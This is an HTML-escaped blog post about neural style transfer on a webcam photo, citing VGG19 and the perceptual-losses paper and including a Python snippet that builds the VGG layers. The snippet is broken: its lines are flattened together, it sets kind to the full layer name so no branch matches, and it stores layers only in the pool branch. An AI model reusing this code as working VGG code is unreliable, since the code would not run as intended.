    &lt;img src=&#34;images/wlEmoticon-smile.png&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;This is called style transfer, where the style/technique from a kind of painting (could be a photos too) is applied to an image, to create a new image. I took this using the built-in camera on my machine sitting at my desk and then applying the different kind of ‘styles’ on it. Each of these styles are is a separate #deeplearning model  that has learned how to apply the relevant style to a source image.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/candy_thumb.png&#34; alt=&#34;candy&#34;/&gt;
        &lt;figcaption&gt;Style - Candy&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/feathers_thumb.png&#34; alt=&#34;feathers&#34;/&gt;
        &lt;figcaption&gt;Style - Feathers&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/mosaic_thumb.png&#34; alt=&#34;mosaic&#34;/&gt;
        &lt;figcaption&gt;Style - Mosaic&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/robert_thumb.png&#34; alt=&#34;robert&#34;/&gt;
        &lt;figcaption&gt;Style - Robert&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Specifically, this uses a Neural Network (#DeepLearning) model called &lt;a
	
		href = &#34;http://www.robots.ox.ac.uk/~vgg/research/deep_eval/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		VGG19
	&lt;/span&gt;
&lt;/a&gt;, which is a 19-layer model running on TensorFlow. Of course, you can export this to a ONNX model, that then can be used in most other run-times and libraries.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;This is inspired from Cornell universities paper - &lt;a
	
		href = &#34;https://arxiv.org/pdf/1603.08155&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Perceptual Losses for Real-Time Style Transfer and Super-Resolution
	&lt;/span&gt;
&lt;/a&gt;. Below is a snapshot of the VGG code that.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;net&lt;/span&gt;(data_path, input_image): layers &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; ( 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv1_1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu1_1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv1_2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu1_2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pool1&amp;#39;&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv2_1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu2_1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv2_2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu2_2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pool2&amp;#39;&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv3_1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu3_1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv3_2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu3_2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv3_3&amp;#39;&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu3_3&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv3_4&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu3_4&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pool3&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv4_1&amp;#39;&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu4_1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv4_2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu4_2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv4_3&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu4_3&amp;#39;&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv4_4&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu4_4&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pool4&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv5_1&amp;#39;&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu5_1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv5_2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu5_2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv5_3&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu5_3&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv5_4&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu5_4&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;data &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; scipy&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;io&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;loadmat(data_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mean &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; data[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;normalization&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mean_pixel &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mean(mean, axis&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;weights &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; data[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;layers&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;net &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {} 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;current &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; input_image 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i, name &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;enumerate&lt;/span&gt;(layers):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  kind &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; name
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; kind &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;conv&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    kernels, bias &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; weights[i][&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;] 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# matconvnet: weights are [width, height, in_channels, out_channels] &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# tensorflow: weights are \[height, width, in_channels, out_channels\] &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    kernels &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;transpose(kernels, (&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;)) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    bias &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; bias&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;reshape(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    current &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; _conv_layer(current, kernels, bias) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; kind &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relu&amp;#39;&lt;/span&gt;: 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    current &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tf&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;relu(current) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; kind &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pool&amp;#39;&lt;/span&gt;: 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    current &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; _pool_layer(current) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    net[name] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; current
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(net) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(layers) &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; net
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
